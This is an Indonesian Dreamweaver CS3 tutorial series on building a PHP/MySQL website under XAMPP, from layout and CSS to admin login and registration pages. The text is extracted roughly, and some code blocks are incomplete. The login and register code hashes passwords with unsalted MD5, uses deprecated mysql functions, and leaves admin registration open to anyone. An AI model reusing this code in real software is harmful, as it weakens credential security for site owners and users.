membuat halaman profile

Membuat website di dreamweaver CS3Kemarin aku sudah kasih download template website yang simple, bagi yang belum download silahkan download disini.

Setelah anda mendownload file tersebut, extrak filenya kedalam komputer anda, terserah anda mengextraknya dimana. Kemudian dalam hasil extrak terdapat folder images, disana ada beberapa file yang sudah aku pecah sebagai bahan pembuatan website di dreamweaver.

Copy folder images tersebut kemudian paste kedalam folder

D:\website\xampp\htdocs\websiteku.com

Sekali lagi aku ingatkan sebelum memulai tutorial membuat website di dreamweaver cs3 ini sebaiknya anda melakukan setting site di dreamweaver cs3 tutorialnya bisa di lihat disini.

Membuat website di dreamweaver cs3 tidak sesulit yang orang bayangkan, kita hanya perlu memahami sedikit kode dan beberapa tool yang sudah di sediakan oleh adobe dreamweaver, membuat website di dreamweaver anda hanya akan bermain klik mengklik dan sedikit sekali mengetikkan kode2.

Kemarin ada seorang teman yang ingin belajar mebuat website di dreamweaver, dia bertanya kepada aku..

Membuat website di Dreamweaver harus menginstall XAMPP?

“aku rasa membuat website di dreamweaver tidak perlu jika anda membuat website berbasis html, anda cukup menaruh filenya dimana saja yang anda suka”

Untuk membuat website di dreamweaver yang pertama yang perlu kita lakukan adalah membuat file index.php. Website yang akan kita buat memiliki bagian :

1. Header2. Menu navigasi

3. Konten

4. Sidebar

5. Footer

Langsung saja kita akan membuat website di dreamweaver, buka program Adobe Dreamweaver anda, Create new pilih php

http://www.ziddu.com/download/18009408/simplewebdesign.rar.html

http://mous-design.com/setting-site-di-dreamweaver-cs3.html


Simpan file tersebut, tekan CTRL + S simpan dengan nama index.php dalam folder tempat anda menginstal XAMPP

D:\website\xampp\htdocs\websiteku.com

Berikutnya anda membuat file baru, tekan CTRL + N pada Blank Page pilih CSS kemudian klik create, simpan dengan nama style.css dalam folder yang sama dengan file index.php

Kembai ke file index.php, klik tab index.php pada document toolbar, kemudian klik Code, tambahkan script berikut di atas tag </head>

1<link href="style.css" rel="stylesheet" type="text/css" />

Script tersebut berfungsi menghubungkan file CSS dengan index.php

Mengatur Body Website

Masih dalam file index.php, klik icon New CSS Rule yang ada di bagian kanan, jika di layar anda tidak terdapat CSS Stylenya anda bisa menekan Shift + F11 untuk menampilkan tab CSS Style.

Setelah muncul Window New CSS Rule, isi pengaturan sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : body

Define in : style.css

Jika sudah klik ok. Maka akan muncul jendela CSS Rule Definition for body in style.css, isikan pengaturan sebagai berikut :

1. Type = Font : Arial, Helvetica, sans-serif, size:13 pixel, color : #0000002. Background = Background color : #CCCCCC

3. Box = width : 900 pixel

Jika sudah klik OK, simpan file index.php dan style.css anda tekan CTRL + S

Mengatur Link Website

Sekarang kita akan mengatur warna, ukuran, dan style Link secara default.

Klik icon New CSS Rule, isi pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : a


Setelah muncul CSS Rule Definition for a in style.css, isikan pengaturannya sebagai berikut :

Type:

Color : #ff6000 Pada Decoration centang None

Jika sudah klik ok.

Selanjutnya kita akan mengatur css link pada saat hover atau pada saat cursor berada di atas link. Klik kembali icon New CSS Rule, isi pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : a:hover


Setelah muncul CSS Rule Definition for a in style.css, isikan pengaturannya sebagai berikut :

Type:

Pada Decoration centang Underline Jika anda ingin mengubah warna link pada saat hover klik icon kotak yang ada di sebelah

tulisan color, kemudian pilih warnanya.

Jika sudah klik ok.

Memuat Header Website

Setelah tadi kita mengatur bagian body dan link website, sekarang saatnya mengatur bagian header dari website.

Pilih file index.php, kemudian ketikkan script berikut dan letakkan di bawah tag <body>

1<div id="header"></div>

Sekarang kita akan mengatur CSS untuk headernya, caranya sama seperti mengatur CSS pada body. Klik icon New CSS Rule, isi pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #header


Setelah muncul CSS Rule Definition for #header in style.css, isikan pengaturannya sebagai beriku

Type:

Size : 12 pixel Color : #FFFFFF

Background:

Background image : klik browse pilih header.jpg dalam folder images Repeat : no-repeat

Box :

Width : 860 pixel Float : Left

Height : 110 pixel

Padding : centang same for all, kemudian isikan 20 pixel

Jika sudah klik OK, kemudian simpan file style.css anda. Untuk melihat preview website anda tekan F12

Selanjutnya kita akan memasukkan logo website dan deskripsi website kedalam header, caranya klik cursor anda setelah <div id=”header”> kemudian klik insert = > image = > logo.jpg

Usahakan logo yang anda buat tingginya / weight tidak lebih dari 80pixel, jika logo anda melebihi dari 80 pixel, anda dapat merubah ukurannya dengan cara :

melalui Design View, klik gambar logo anda kemudian pada panel Property yang secara default berada di bagian bawah, pada H / Height isikan 80

Masih tetap pada Panel Property, pada Link klik icon folder yang ada di sebelah kiri tulisan Edit, kemudian pilih file index.php. Ini berfungsi pada saat logo di klik akan mengarah ke halaman index atau halaman depan website anda.

Pada bagian border isikan 0, dan pada Alt ketikkan logo websiteku atau nama website nama anda.

Dibawah code

1<a href="index.php"><img src="images/logo.png" alt="logo websiteku" border="0" /></a>

ketikkan

1<p>Deskripsi website anda disini</p>

ganti tulisan deskripsi website anda disini dengan deskripsi/penjelasan website anda.

Simpan file index.php dan style.css tekan CTRL + S, kemudian lihat previewnya tekan F12 atau refresh browser anda tekan F5.

Memuat Menu Navigasi Website

Setelah kita membuat Header, selanjutnya kita akan membuat navigasi website yang berada di bagian bawah header. Navigasi isi akan berisi link – link yang akan mengarah ke halaman tertentu seperti profile, gallery, atau contact.

Pilih file index.php, kemudian ketikkan script berikut dan letakkan di atas </body>

1<div id="navigasi"></div>

Sekarang kita akan mengatur CSS untuk navigasiny. Klik icon New CSS Rule, isi pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #navigasi


Seleah muncul CSS Rule Definition for #navigasi in style.css, isikan pengaturannya sebagai berikut :

Background:

Background image : klik browse pilih bg-nav.jpg dalam folder images Repeat : no-repeat

Box :


Height : 35 pixel

Pada bagian padding hilangkan centang same for all, left :20 pixel dan right: 20 pixel

Pada bagian margin centang same for all isikan 0 pixel

Jika sudah klik ok, simpan file index.php dan style.css.

Selanjutnya pada Design View, klik di dalam Menu Navigasi kemudian klik Insert > Table

Setelah muncul jendela Table, isikan pengaturannya sebagai berikut :

Rows : 1 Columns : 4

Table Width kosongkan saja

Border Thickness kosongkan / delete saja.

Cell Padding : 5

Cell Spacing : 5

Jika sudah klik ok.

Selanjutnya didalam kolom table ketikkan menu website anda, perhatikan gambar berikut

Sekarang kita akan memberikan link pada menu tersebut, caranya blok tulisan Home => pada panel property cari kolom Link klik icon folder kemudian pilih file index.php, lakukan hal yang sama pada menu lainnya, tetapi pada kolom link isikan saja # karena kita belum mempunyai filenya.

Untuk halaman profile dan yang lainnya akan kita bahas pada artikel berikutnya.

Sekarang kita akan mengubah warna link dari menu navigasi dengan mengatur CSS nya, caranya klik tulisan Home => klik icon New CSS Rule, isi pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #navigasi a


Seleah muncul CSS Rule Definition for #navigasi a in style.css, isikan pengaturannya sebagai berikut :

Type:

Color : #FFFFFF (kode warna putih)

Jika sudah klik ok. Simpan file index.php dan style.css anda tekan CTRL + S, kemudian preview tekan F12

Memuat Konten Website

Sekarang kita akan membuat konten website, konten ini adalah tempat berita atau artikel anda.


1<div id="conten-wrapper">


Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #conten-wrapper


Seleah muncul CSS Rule Definition for #conten-wrapper in style.css, isikan pengaturannya sebagai berikut :

Background:

Background color : #DDDDDD

Box :


Pada bagian margin centang same for all, isikan 0 pixel

Pada bagian padding hilangkan centang same for all, isikan top:0 pixel, bottom: 0 pixel, right:20pixel, left:0pixel

Pilih file index.php, kemudian ketikkan script berikut dan letakkan di bawah <div id=”conten-wrapper”>

1<div id="conten"></div>

Sehingga kodenya menjadi seperti berikut :

1

2

3

<div id="conten-wrapper">

<div id="conten "></div>

</div>


Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #conten


Seleah muncul CSS Rule Definition for #conten in style.css, isikan pengaturannya sebagai berikut :

Background:

Background color : #FFFFFF

Box :


Pada bagian padding centang same for all, isikan 20 pixel


Memuat Sidebar Website

Sidebar adalah kolom yang ada di sebelah konten website anda, biasanya berisi menu – menu seperti berita terbaru atau link – link tertentu.

Pilih file index.php, kemudian ketikkan script berikut dan letakkan di bawah <div id=”conten”></div>

1<div id="sidebar"></div>

Sehingga kodenya menjadi seperti berikut :


Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #sidebar


Seleah muncul CSS Rule Definition for #sidebar in style.css, isikan pengaturannya sebagai berikut :

Box :


Pada bagian margin centang same for all, isikan 0 pixel



Untuk isi sidebar akan aku jelaskan pada tutorial berikutnya.

1

2

3

4


<div id="conten "></div>

<div id="sidebar "></div>

</div>

Memuat Footer Website

Fotter adalah bagian bawah dari website yang biasanya bisa di isi dengan menu atau link tertentu, dan copyright anda.


1<div id="footer"></div>

Sekarang kita akan mengatur CSS untuk footer. Klik icon New CSS Rule, isi pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #footer


Seleah muncul CSS Rule Definition for #footer in style.css, isikan pengaturannya sebagai berikut

Background:

Background image : klik browse pilih footer.jpg dalam folder images Repeat : no-repeat

Block:

Text align : Center

Box :


Height : 80 pixel


Pada bagian margin centang same for all isikan 0 pixel


Jika anda perhatikan semua susunan kode yang kita buat di file index.php tadi akan menjadi seperti ini :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Websiteku</title>

<link href="style.css" rel="stylesheet" type="text/css" />

</head>

<body>

<div id="header">

<a href="index.php"><img src="images/logo.png" alt="logo websiteku" border="0" /></a>

<p>Deskripsi website anda disini</p>

</div>

<div id="navigasi">

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

<table border="0" cellspacing="5" cellpadding="5">

<tr>

<td><a href="index.php">Home</a></td>

<td><a href="#">Profile</a></td>

<td><a href="#">Gallery</a></td>

<td><a href="#">Contact</a></td>

</tr>

</table>

</div>


<div id="conten"></div>

<div id="sidebar"></div>

</div>

<div id="footer"></div>

</body>

</html>

Pada Design View, klik di dalam konten website anda kemudian ketikkan kata sambutan atau judul konten anda. Untuk Merubah format judul konten anda caranya blok judul konten anda kemudian pada panel property => menu format pilih Heading 1.

Untuk memberikan link pada judul konten caranya blok judul konten anda, kemudian pada panel properti isikan link yang akan dituju, jika belum ada isikan dengan # saja.

Di bawah judul anda bisa isikan gambar, tetapi sebelumnya pastikan gambar anda tempatnya dalam folder images, caranya Insert = > Image => pilih file gambar anda => klik ok. Untuk mengatur gambar anda silahkan atur pada panel property. Kali ini aku memakai gambar yang aku comot dari google dan lebarnya 600 pixel.

Di bawah gambar atau disamping gambar anda bisa memasukkan teks sesuka anda yang berhubungan dengan konten atau website anda. Atau anda ingin measukkan penggalan dari halaman profile anda, itu terserah anda.

Setelah toturial membuat website di dreamweaver ini kita akan memecah file index.php, kenapa perlu di pecah? ya jawabannya agar nantinya kita mudah dalam mengedit file-file tersebut.

Sampai disini tutorial membuat website di dreamweaver, jika ada yang ingin anda tanyakan silahkan bertanya pada kolom komentar

Bagi yang mau melanjutkan belajar membuat website di dreamweaver silahkan lihat kelanjutannya di Memecah File Index.php di Dreamweaver CS3

Membuat Halaman ProfileTutorial Dreamweaver sebelumnya kita sudah memecah file index.php, pada tutorial Dreamweaver kali ini kita akan membuat halaman profile, dan kontak.

Pertama anda buka program Adobe dreamweaver milik anda, kemudian buka kembali file index.php, kemudian Save As atau tekan CTRL + SHIFT + S, beri nama profile.php.

Melalui design view, tuliskan judul halaman anda, pada kali ini tulis saja Profile, kemudian blok tulisan Profile, pada panel Properties yang ada di bagian bawah ubah formatnya menjadi Heading 1

Selanjutnya tuliskan isi profile anda di bawah judul halaman anda, terserah anda mau menuliskan apa saja hehe.

Untuk memulai paragraph baru tekan Enter saja, tekan Shift + Enter untuk menyisipkan pergantian baris. Terakhir simpan pekerjaan anda tekan Ctrl + S.

Untuk membuat halaman kontak caranya sama saja, anda tinggal buka file index.php kemudian Save As beri nama contact.php

http://mous-design.com/tutorial-dreamweaver-memecah-file-index-php-di-dreamweaver-cs3.html


Selanjutnya pada tutorial dreamweaver ini kita akan melink’an halaman – halaman tersebut, buka file header.php milik anda, tekan Ctrl + O pilih header.php lalu klik Open.

Pertama blok tulisan Profile yang ada di bagian navigasi pada file header.php milik anda, kemudian pada panel Properties klik icon folder / Browse for File yang ada dalam bagian link, kemudian pilih file profile.php.

Lakukan langkah yang sama untuk meLink’an halaman kontak milik anda. Terakhir simpan file header.php tekan Ctrl + S, kembali ke tab profile profile.php tekan F12 untuk melihat preview pekerjaan anda.

Jika anda masih ingat pada tutorial dreamweaver membuat file index.php yang belum di pecah, bagian navigasi masih menyatu dalam 1 file, jadi ketika anda ingin memberikan link pada navigasi tersebut anda harus mengedit 1 persatu file – file yang anda miliki, misalnyamenu navigasi pada file index.php, profile.php dan contact.php. Itu baru 3 file, bagaimana jika anda memiliki ratusan file / halaman statis? repot bukan?, oleh sebab itu saya menyarankan anda memecah file tersebut.

Setelah tutorial ini, kita akan langsung belajar membuat halaman administrator, yang dimana halaman pada halaman admin tersebut hanya bisa di akses oleh anda sendiri dengan cara memasukkan password dan id anda. Pada halaman admin ini andadapat mengedit konten – konten website anda.

Memecah File Index.php di Dreamweaver CS3Tutorial dreamweaver kali ini adalah kelanjutan tutorial kemarin yaitu membuat website di dreamweaver CS3, setelah kemarin kita membuat file index.php sekarang kita akan memecah file tersebut agar nantinya mudah di edit.

Langsung saja tutorial dreamweaver kali ini yaitu memecah file index.php dengan Dreamweaver,

Buka program Adobe Dreamweaver anda, kemudian buka file index.php.

Buatlah 3 file baru, tekan Ctrl + N pilih PHP, kemudian simpan beri nama :

1. header.php2. sidebar.php

3. footer.php

Setelah anda membuat ke 3 file tersebut, hapus semua kode yang ada didalamnya. Sekarang kita akan menggabungkan semua file tersebut kedalam file index.php

Kemarin susunan kode website kita seperti berikut :

123456

<body>

<div id="header"><a href="index.php"><img src="images/logo.png" alt="logo websiteku" border="0" /></a><p>Deskripsi website anda disini</p></div>

http://mous-design.com/membuat-website-di-dreamweaver-cs3.html




78910111213141516171819202122232425

<div id="navigasi"> <table border="0" cellspacing="5" cellpadding="5"> <tr> <td><a href="index.php">Home</a></td> <td><a href="#">Profile</a></td> <td><a href="#">Gallery</a></td> <td><a href="#">Contact</a></td> </tr> </table></div>

<div id="conten-wrapper"><div id="conten"></div><div id="sidebar"></div></div>

<div id="footer"></div></body>

Kemudian cut kode :

123456789101112131415

<div id="header"><a href="index.php"><img src="images/logo.png" alt="logo websiteku" border="0" /></a><p>Deskripsi website anda disini</p></div>

<div id="navigasi"> <table border="0" cellspacing="5" cellpadding="5"> <tr> <td><a href="index.php">Home</a></td> <td><a href="#">Profile</a></td> <td><a href="#">Gallery</a></td> <td><a href="#">Contact</a></td> </tr> </table></div>

Paste kedalam header.php, kemudian gabungkan file header.php dengan file index.php caranya ketikkan kode berikut

1<?php include ('header.php') ?>

letakkan di tempat kode yang anda cut tadi atau di bawah <body>

Selanjutnya kita akan menggabungkan atau menghubungkan file sidebar.php dengan file index.php. Cut kode berikut :

1<div id="sidebar"></div>

paste kedalam sidebar.php, dan ketikkan kode berikut di bawah <div id=”conten”></div>

1<?php include ('sidebar.php') ?>

Terakhir kita akan menggabungkan file footer.php dengan file index.php, cut kode berikut :

1<div id="footer"></div>

Paste kedalam file footer.php, dan ketikkan kode berikut tepat di atas </body>

1<?php include ('footer.php') ?>

Jadi dalam folder websiteku.com kita telah memiliki 4 file, yaitu :

1. index.php2. header.php

3. sidebar.php

4. footer.php

Sedangkan untk membuat halaman yang lainnya, misalnya profile, contact, dan gallery anda tinggal mencopy file index.php kemudian ubah namanya menjadi nama halaman tersebut, dan untuk jelasnya nanti akan saya terangkan dalam tutorial dreamweaver berikutnya.

Jadi kesimpulannya jika anda memiliki ingin mengedit atau mengubah pada bagian sidebar, anda tinggal membuka file sidebar.php, dan jika anda memiliki file yang banyak anda tidak perlu merubah semua file anda, cukup sidebar.php saja yang perlu anda edit, itu karena fungsi dari include tadi.

Membuat Database MySQLDatabase sangat diperlukan untuk membuat website dinamis untuk pengolahan semua data da informasi dalam website, sebelum memulai membuat database di server local / localhost anda harus menginstal XAMPP, silakan baca cara install Xampp di Windows.

Membuat database MySQL sangat mudah karena sudah disediakan oleh Xampp, langsung saja kita mulai untuk membuat databse di server local,

Pertama, ketikkan http://localhost/phpmyadmin pada browser anda, pada Create new database isikan websiteku.

http://localhost/phpmyadmin/

http://mous-design.com/cara-install-xampp-di-windows.html

http://mous-design.com/topics/tutorial-dreamweaver

Kemudian anda akan di bawa ke halaman pembuatan tabel baru, untuk kali ini kita langsung saja membuat tabel untuk admin.

Pada Create new table on database websiteku isikan :

Name : websiteku Number of field : 3

Jika sudah klik Go.

Berikutnya anda isikan table admin, sebagai berikut

Jika sudah kilik Save.

Maka sekarang anda sudah memiliki tabel admin dalam databse websiteku.

Selanjutnya kita akan membuat Membuat Koneksi ke Database.

Membuat Koneksi ke DatabaseUntuk membuat website dinamis dengan Dreamweaver kita perlu membuat koneksi ke database terlebih dahulu, sebelum membuat koneksi ke database di dreamweaver anda harus sudah mensetting site di dreamweaver, dan membuat database mysql.

Pertama buatlah folder baru di dalam folder websiteku.com, beri nama fileadmin. Kemudian buka program Adobe Dreamweaver, buatlah file php baru beri nama index.php tekan CTRL + S simpan dalam folder fileadmin.

Sekarang saatnya membuat koneksi ke database yang sudah kita buat sebelumnya, pada tab Application klik Databases, kemudian klik icon + pilih MySQL Connection,

http://mous-design.com/membuat-database-mysql.html


http://mous-design.com/membuat-koneksi-ke-database.html

isikan pengaturannya sebagai berikut :

Connection name : websiteku MySQL Server: localhost

User name : root (secara default username xampp anda adalah root, jika anda merubah usernamenya maka sesuaikan dengan milik anda)

Password : kosongkan saja (kecuali anda sudah memberikan password pada databse anda)

Database : klik select kemudian pilih websiteku.

terakhir klik ok

Setelah ini kita akan mengisi file index.php ini dengan form login ke halaman administrator website. Silahkan lihat tutorialnya di Membuat Halaman Login

Membuat Halaman LoginSebelumnya kita sudah membuat database website kita dan membuat koneksi di Dreamweaver, kalau anda belum membuatnya silahkan baca disini dan disini hehe.

Sebelum memulai tutorial ini anda harus membuat tabel untuk admin silahkan lihat disini. Bagi anda yang mengikuti tutorial ini dari awal silahkan buka file index.php yang ada di dalam folder fileadmin.

Halaman login pada website tentunya berisi login form, pertama kita akan membuat login formnya terlebih dahulu.

Setelah anda membuka file index.php dalam folder fileadmin, klik ke dalam area kerja dreamweaver anda, kemudian ikuti langkah – langkahnya :

Klik Insert > Form > Form

Klik Insert >Table, isikan table propertynya sbb :







http://mous-design.com/membuat-halaman-login-di-dreamweaver.html

1. Row : 32. Collomns : 3

3. Table Width : kosongkan saja

4. Border thickness : kosongkan saja

5. Cell padding : 5

6. Cell spacing : 5

7. Klik ok.

Maka akan terlihat 9 buah kotak dengan garis putus – putus. Pada baris kotak pojok kiri atas isikan Nama, kotak di sebelah kanan nama isikan : (titik dua).

Kotak di bawah Nama isikan Password, dan di sebelah kanan Password isikan : (titik dua).

Pada baris Nama, klik di dalam kotak paling kanan, kemudian klik Insert > Form > Text Field, pada Id isikan nama, yang lain biarkan secara default, kalau sudah klik Ok.

Pada baris Password, klik di dalam kotak paling kanan, kemudian klik Insert > Form > Text Field, pada Id isikan password, yang lain biarkan secara default, kalau sudah klik Ok.

Setelah muncul TextField untuk memasukkan password, klik TextField tersebut, pada panel Properties di bagian bawah pada bagian Type pilih Password

Selanjutnya kita akan menyatukan atau me Merge Cell pada baris paling bawah agar menjadi satu kotak saja, caranya arahkan cursor anda kesebelahnya, kemudian klik Row tersebut, perhatikan gambar berikut.

Jika sudah terseleksi, pada bagian panel Properties klik icon Merges selected cells using spans, kemudian pada Horz rubah menjadi Right.

Kalau sudah, klik kembali di dalam kotak tersebut, lalu klik Insert > Form > Button, pada Id isi login terakhir klik Ok. Untuk merubah tulisan di dalam tombol login tersebut ubah Value‘nya pada panel Properties.

Sampai disini, jika anda perhatikan melalui Code View maka kodenya akan seperti ini :

1234567891011121314151617181920212223

<form id="form1" name="form1" method="post" action=""> <table cellspacing="5" cellpadding="5"> <tr> <td>Nama</td> <td>:</td> <td><label> <input type="text" name="nama" id="nama" /> </label></td> </tr> <tr> <td>Password</td> <td>:</td> <td><label> <input type="text" name="password" id="password" /> </label></td> </tr> <tr align="right"> <td colspan="3"><label> <input type="submit" name="login" id="login" value="Login" /> </label></td> </tr> </table></form>

Simpan pekerjaan anda Ctrl + S, kemudian preview tekan F12

Sampai disini dulu tutorial membuat halaman login di Dreamweaver CS3 saya akan lanjutkan tutorialnya membuat halaman login pada artikel berikutnya Membuat Halaman Login Part 2.

http://mous-design.com/membuat-halaman-login-part-2.html


Membuat Halaman Login Part-2Melanjutkan tutorial sebelumnya Membuat Halaman Login sekarang saya akan lanjutkan dengan Membuat Halaman Login Part-2.

Sebelum Membuat halaman login ini, buatlah 2 file php baru, beri nama :

1. home.php2. login-gagal.php

Simpan dalam folder fileadmin

File home.php ini adalah halaman depan administrator anda, sedangkan login-gagal.php ini adalah halaman yang dituju jika password dan username yang dimasukkan tidak cocok, isikan saja file login-gagal.php dengan kata – kata

“Ooops, login gagal. Silahkan coba kembali”

Pada kata Silahkan coba kembali berikan link menuju halaman index.php.

Buka kembali file index.php milik anda, klik Insert > Data Objects > User Authecation > Log In User

Setelah muncul jendela Log In User, isikan pengaturannya seperti gambar berikut

Jika sudah klik ok.

Sedikit penjelasan isian dari Log In User :

Get Input From Form : form login yang telah anda buat sebelumnya


Username field : kolom tempat anda mengisikan nama / username anda

Password field : kolom tempat anda mengisikan password anda

Validate usig connection : adalah koneksi dari website yang telah anda buat, jika anda belum membuatnya silahkan baca disini

Table : pada kali ini anda memilih table admin yang ada dalam database websiteku yang telah anda buat sebelumnya.

If login succeeds, go to : halaman yang dituju jika login berhasil

If login fails, go to : halaman yang dituju jika login gagal

Restric access base on : hak batasan login.

Selanjutnya kita akan memberikan fungsi MD5 pada login form ini, melalui code view tekan CTRL + F (find) ketikkan

1$password=$_POST['password'];

kemudian klik Find Next, jika sudah ketemu ubah kodenya seperti ini

1$password=md5 ($_POST['password']);

jadi kode keseluruhannya menjadi seperti ini

12345678910111213141516171819202122232425262728293031

<?php require_once('../Connections/websiteku.php'); ?><?phpif (!function_exists("GetSQLValueString")) {function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = ""){ $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

$theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue;}}?><?php// *** Validate request to login to this site.

http://id.wikipedia.org/wiki/MD5



323334353637383940414243444546474849505152535455565758596061626364656667686970717273

if (!isset($_SESSION)) { session_start();}

$loginFormAction = $_SERVER['PHP_SELF'];if (isset($_GET['accesscheck'])) { $_SESSION['PrevUrl'] = $_GET['accesscheck'];}

if (isset($_POST['nama'])) { $loginUsername=$_POST['nama']; $password=md5 ($_POST['password']); $MM_fldUserAuthorization = ""; $MM_redirectLoginSuccess = "home.php"; $MM_redirectLoginFailed = "login-gagal.php"; $MM_redirecttoReferrer = false; mysql_select_db($database_websiteku, $websiteku);

$LoginRS__query=sprintf("SELECT nama, password FROM `admin` WHERE nama=%s AND password=%s", GetSQLValueString($loginUsername, "text"), GetSQLValueString($password, "text"));

$LoginRS = mysql_query($LoginRS__query, $websiteku) or die(mysql_error()); $loginFoundUser = mysql_num_rows($LoginRS); if ($loginFoundUser) { $loginStrGroup = ""; //declare two session variables and assign them $_SESSION['MM_Username'] = $loginUsername; $_SESSION['MM_UserGroup'] = $loginStrGroup;

if (isset($_SESSION['PrevUrl']) && false) { $MM_redirectLoginSuccess = $_SESSION['PrevUrl']; } header("Location: " . $MM_redirectLoginSuccess ); } else { header("Location: ". $MM_redirectLoginFailed ); }}?>

ya cukup sekian tutorial membuat halaman login di dreamweaver cs kali ini, silahkan simpan pekerjaan anda tekan CTRL + S kemudian preview tekan F12, jika anda mencoba form login tersebut maka anda akan di bawa kehalaman login gagal, karena kita belum mengisi data2 dalam table admin dalam database websiteku.

Tutorial berikutnya kita akan membuat halaman register admin atau form register untuk administrator.

Membuat Halaman RegisterHalaman register tentunya berisi form register atau formulir pendaftaran. Setelah kemarin tutorial membuat halaman login part 1 dan part 2, sekarang saatnya kita



http://mous-design.com/halaman-register-di-dreamweaver-cs3.html


belajar membuat halaman register untuk administrator dengan Adobe Dreamweaver CS3.

Pertama anda buat file php baru, simpan dalam folder fileadmin milik anda, dan beri nama register.php .

klik Insert > Data Objects > Insert Record > Record Insertion From Wisard

Setelah muncul jendela Record Insertion From, isikan pengaturannya sebagai berikut :

Connection : pilih koneksi yang telah anda buat, kalau belum ada koneksi, silahkan baca tutorial membuat koneksi dengan dreamweaver cs3

Table : pilih table admin, tabel yang anda buat dalam database milik anda. Jika anda belum membuat database silahkan di baca tutorial Membuat database Mysql

After inserting, go to : isikan file index.php yang berada dalam folder fileadmin, agar setelah anda mendaftar akan langsung di bawa ke halaman login.

Form fields : klik tulisan id kemudian hilangkan dengan meng-klik icon (-)

Terakhir klik ok.

Selanjutnya kita akan memberikan fungsi MD5 pada form register, melalui code view tekan CTRL + F (find) ketikkan

1GetSQLValueString($_POST['password'], "text"));

kemudian klik Find Next, jika sudah ketemu ubah kodenya seperti ini

1GetSQLValueString(md5 ($_POST['password']), "text"));

Simpan pekerjaan anda tekan CTRL + S kemudian preview teken F12, coba daftar kemudian test login dengan nama dan password yang telah anda buat tadi, kalau berhasil maka anda akan di bawa ke halaman home.php.

jadi kode keseluruhannya menjadi seperti ini :

12345

<?php require_once('../Connections/websiteku.php'); ?><?phpif (!function_exists("GetSQLValueString")) {function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") {

http://id.wikipedia.org/wiki/MD5



67891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162

$theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;


switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue;}}

$editFormAction = $_SERVER['PHP_SELF'];if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);}

if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "form1")) { $insertSQL = sprintf("INSERT INTO `admin` (nama, password) VALUES (%s, %s)", GetSQLValueString($_POST['nama'], "text"), GetSQLValueString(md5 ($_POST['password']), "text"));

mysql_select_db($database_websiteku, $websiteku); $Result1 = mysql_query($insertSQL, $websiteku) or die(mysql_error()); $insertGoTo = "index.php"; if (isset($_SERVER['QUERY_STRING'])) { $insertGoTo .= (strpos($insertGoTo, '?')) ? "&" : "?"; $insertGoTo .= $_SERVER['QUERY_STRING']; } header(sprintf("Location: %s", $insertGoTo));}?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Untitled Document</title></head>

<body><form action="<?php echo $editFormAction; ?>" method="post" name="form1" id="form1"> <table align="center"> <tr valign="baseline"> <td nowrap="nowrap" align="right">Nama:</td> <td><input type="text" name="nama" value="" size="32" /></td> </tr>

63646566676869707172737475767778

<tr valign="baseline"> <td nowrap="nowrap" align="right">Password:</td> <td><input type="text" name="password" value="" size="32" /></td> </tr> <tr valign="baseline"> <td nowrap="nowrap" align="right"> </td> <td><input type="submit" value="Insert record" /></td> </tr> </table> <input type="hidden" name="MM_insert" value="form1" /></form></body></html>

Sekian tutorial membuat halaman register di dreamweaver cs3 ini, jika ada yang kurang jelas silahkan bertanya melalui form komentar di bawah.

Untuk tutorial selanjutnya kita akan Membuat Halaman Administrator.

Halaman Administrator WebsiteSebelum memulai tuorial membuat halaman administrator website atau halaman admin di dreamweaver ini saya ingin meminta maaf kepada teman – teman yang megikuti tutorial dreamweaver di Mous Design, lama saya tidak bisa melanjutkan tutorial ini karena banyak urusan kerjaan. Banyak yang mengirimkan email ke saya, meminta supaya cepat untuk di updatekan tutorial pembuatan website dengan dreamweaver terutama membuat halaman administrator website ini.

